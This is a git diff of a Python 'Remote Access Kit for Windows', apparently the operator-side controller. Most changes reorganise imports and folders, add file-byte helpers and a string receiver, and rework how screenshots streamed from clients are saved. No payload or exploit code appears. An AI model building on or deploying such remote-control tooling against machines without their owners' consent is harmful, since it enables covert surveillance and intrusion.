------------------------------------------------------------- -from ..networking.socket import ServerSocket -from ..client_handling.flags import ClientActionFlags -from ..threading.threads import MultiThreading -from ..networking.receiver_socket import ReceiverSocket +from core.networking.sockets.server_socket import ServerSocket +from core.client_handling.flags import ClientActionFlags +from core.threading.threads import MultiThreading +from core.networking.sockets.receiver_socket import ReceiverSocket class SystemManager: diff --git a/core/encryption/aes128.py b/core/encryption/aes128.py index 182b69b..aacd222 100644 --- a/core/encryption/aes128.py +++ b/core/encryption/aes128.py @@ -10,10 +10,10 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- from cryptography.fernet import Fernet -from ..logging.logging import NetworkingConfigs +from core.logging.logging import NetworkingConfigs class Encryption: # Function will generate a new encryption key and return it diff --git a/core/logging/logging.py b/core/logging/logging.py index 26a6ff6..98c4905 100644 --- a/core/logging/logging.py +++ b/core/logging/logging.py @@ -10,7 +10,7 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- import os from ..utils.utils import ErrorHandling,Notifications @@ -44,6 +44,19 @@ def write_data_to_file(self,file_path,data): file.write(data) #Write data file.close() #Close file + #Function will read bytes from file + def receive_file_bytes(self,file_path): + with open(file_path,'rb') as file: #Open file + data = file.read() #Read data + file.close() #Close file + return data #Return data + + #Function will write bytes to a file + def write_bytes_to_file(self,file_path,bytes_data): + with open(file_path,'wb') as file: #Open file + file.write(bytes_data) #Write bites + file.close() #Close file + class NetworkingConfigs(): #Function will write the listening port for the shells functions diff --git a/core/networking/receiver_socket.py b/core/networking/sockets/receiver_socket.py similarity index 92% rename from core/networking/receiver_socket.py rename to core/networking/sockets/receiver_socket.py index 13dee95..1a921d2 100644 --- a/core/networking/receiver_socket.py +++ b/core/networking/sockets/receiver_socket.py @@ -10,15 +10,15 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- import socket -from ..logging.logging import ConsoleWindow,LoggingUtilitys -from ..encryption.aes128 import Decryption -from ..networking.IP_Handler import IPAddress -from ..utils.file_paths import DSFilePath -from ..logging.logging import NetworkingConfigs +from core.logging.logging import ConsoleWindow,LoggingUtilitys +from core.encryption.aes128 import Decryption +from core.networking.utils.IP_Handler import IPAddress +from core.utils.file_paths import DSFilePath +from core.logging.logging import NetworkingConfigs BUFFER = 4096 @@ -64,6 +64,12 @@ def recv_all_data_from_client(self): break # Data transmission is complete. Break the loop return bytes_data # Return byte data string sent from server + #Function will receive and return string from client + def recv_string(self,encryption_key): + self.create_receiver_socket() #Create receiver socket + string = self.get_data_from_client(encryption_key) #Get string + return string #Return it + #Function will receive ping reply and log it to the gui console def recv_ping_reply(self,encryption_key): self.create_receiver_socket() #Create socket & listen for connection diff --git a/core/networking/socket.py b/core/networking/sockets/server_socket.py similarity index 97% rename from core/networking/socket.py rename to core/networking/sockets/server_socket.py index 0158f1c..446c8a1 100644 --- a/core/networking/socket.py +++ b/core/networking/sockets/server_socket.py @@ -10,17 +10,17 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- import socket import base64 -from ..utils.utils import ErrorHandling -from ..networking.IP_Handler import IPAddress -from ..threading.threads import MultiThreading -from ..logging.logging import ConsoleWindow,ClientWindow,NetworkingConfigs,DiscordCFG -from ..encryption.aes128 import Encryption,Decryption -from ..utils.utils import Notifications +from core.utils.utils import ErrorHandling +from core.networking.utils.IP_Handler import IPAddress +from core.threading.threads import MultiThreading +from core.logging.logging import ConsoleWindow,ClientWindow,NetworkingConfigs,DiscordCFG +from core.encryption.aes128 import Encryption,Decryption +from core.utils.utils import Notifications server_socket_obj_array = [] #User created listeners/sockets are stored here client_socket_obj_array = [] #Client socket object is stored here. This is used to interact with client diff --git a/core/networking/stream_socket.py b/core/networking/sockets/stream_socket.py similarity index 87% rename from core/networking/stream_socket.py rename to core/networking/sockets/stream_socket.py index e760b37..f7a9558 100644 --- a/core/networking/stream_socket.py +++ b/core/networking/sockets/stream_socket.py @@ -10,13 +10,13 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- import socket import struct -from ..networking.IP_Handler import IPAddress -from ..utils.file_paths import DSFilePath -from ..logging.logging import NetworkingConfigs +from core.networking.utils.IP_Handler import IPAddress +from core.utils.file_paths import DSFilePath +from core.logging.logging import LoggingUtilitys,NetworkingConfigs BUFFER = 4096 @@ -36,7 +36,7 @@ def create_socket(self): return conn #return the client socket object #Function will receive screenshot from client, write the photo to DS directory - def receive_screenshot(self): + def recv_img_data(self): client_socket_obj = self.create_socket() #Create socket and get client socket object struct_length = client_socket_obj.recv(8) #Receive length of struct (length,) = struct.unpack(">Q",struct_length) #Unpack the struct @@ -47,6 +47,6 @@ def receive_screenshot(self): picture += client_socket_obj.recv(BUFFER) #Photo is == Buffer size else: picture += client_socket_obj.recv(data_received) #Add the rest of the data to the picture - with open(DSFilePath().streaming_frame,'wb') as image_file: #open image file in data storage - image_file.write(picture) #Write the file - self.stream_socket.close() #Close the socket \ No newline at end of file + + LoggingUtilitys().write_bytes_to_file(DSFilePath().streaming_frame,picture) #Write the bytes data to the streaming file + self.stream_socket.close() #Close the socket diff --git a/core/networking/IP_Handler.py b/core/networking/utils/IP_Handler.py similarity index 97% rename from core/networking/IP_Handler.py rename to core/networking/utils/IP_Handler.py index 8e9c23a..5c0282b 100644 --- a/core/networking/IP_Handler.py +++ b/core/networking/utils/IP_Handler.py @@ -10,14 +10,14 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- import netifaces import requests import os -from ..utils.utils import ErrorHandling -from ..logging.logging import NetworkingConfigs +from core.utils.utils import ErrorHandling +from core.logging.logging import NetworkingConfigs class NicHandler: #Function will return array with all interfaces found in linux directory diff --git a/core/networking/dns_handler.py b/core/networking/utils/dns_handler.py similarity index 93% rename from core/networking/dns_handler.py rename to core/networking/utils/dns_handler.py index 6612f50..9f227d1 100644 --- a/core/networking/dns_handler.py +++ b/core/networking/utils/dns_handler.py @@ -10,13 +10,13 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- import requests -from ..networking.IP_Handler import IPAddress -from ..logging.logging import DNSconfigs,ConsoleWindow -from ..utils.file_paths import CFGFilePath -from ..utils.utils import Notifications,ErrorHandling +from core.networking.utils.IP_Handler import IPAddress +from core.logging.logging import DNSconfigs,ConsoleWindow +from core.utils.file_paths import CFGFilePath +from core.utils.utils import Notifications,ErrorHandling class DomainHandler(): diff --git a/core/threading/threads.py b/core/threading/threads.py index 203582f..cd7de3e 100644 --- a/core/threading/threads.py +++ b/core/threading/threads.py @@ -10,9 +10,23 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- import threading +from PyQt5 import QtCore + +#Thread for running background tasks. Qt does not run well with the pythons threading libs +class ProcessRunnable(QtCore.QRunnable): + def __init__(self, target, args): + QtCore.QRunnable.__init__(self) + self.t = target + self.args = args + + def run(self): + self.t() + + def start(self): + QtCore.QThreadPool.globalInstance().start(self) class MultiThreading(): #Function will create a thread for functions with no arguments diff --git a/core/utils/file_paths.py b/core/utils/file_paths.py index bf56859..2eaf384 100644 --- a/core/utils/file_paths.py +++ b/core/utils/file_paths.py @@ -10,7 +10,7 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- import os @@ -75,3 +75,8 @@ def __init__(self): class BuilderPath: def __init__(self): self.raw_script_dir = LoggingUtilitys().get_misc_file_path_str('agent/raw') + +#Client data related file and dir paths +class ClientPath: + def __init__(self): + self.image_data_dir = LoggingUtilitys().get_misc_file_path_str('client_data/image_data/') diff --git a/core/utils/utils.py b/core/utils/utils.py index 6f96dc4..3f81968 100644 --- a/core/utils/utils.py +++ b/core/utils/utils.py @@ -10,7 +10,7 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- from PyQt5 import QtWidgets from PyQt5 import QtGui @@ -101,7 +101,7 @@ def validate_extention(self,file_name,file_extention): if split_file[1] == file_extention: #If the 2nd index is == file extention parameter return True #return true return False #else return false - except IndexError: #If their is no . + except IndexError: #If there is no . return False #Return false #Function will validate an integer date type diff --git a/launch.py b/launch.py index d981b12..06dede6 100755 --- a/launch.py +++ b/launch.py @@ -11,9 +11,9 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- -from core.Qt5.ghost_wire_gui import Ui_main_window +from core.Qt5.main_window.qwire_main_gui import Ui_main_window from core.utils.file_paths import DSFilePath from PyQt5 import QtWidgets import os diff --git a/setup.py b/setup.py index 137d82d..db688bc 100644 --- a/setup.py +++ b/setup.py @@ -10,7 +10,7 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- from subprocess import run from core.utils.file_paths import CFGFilePath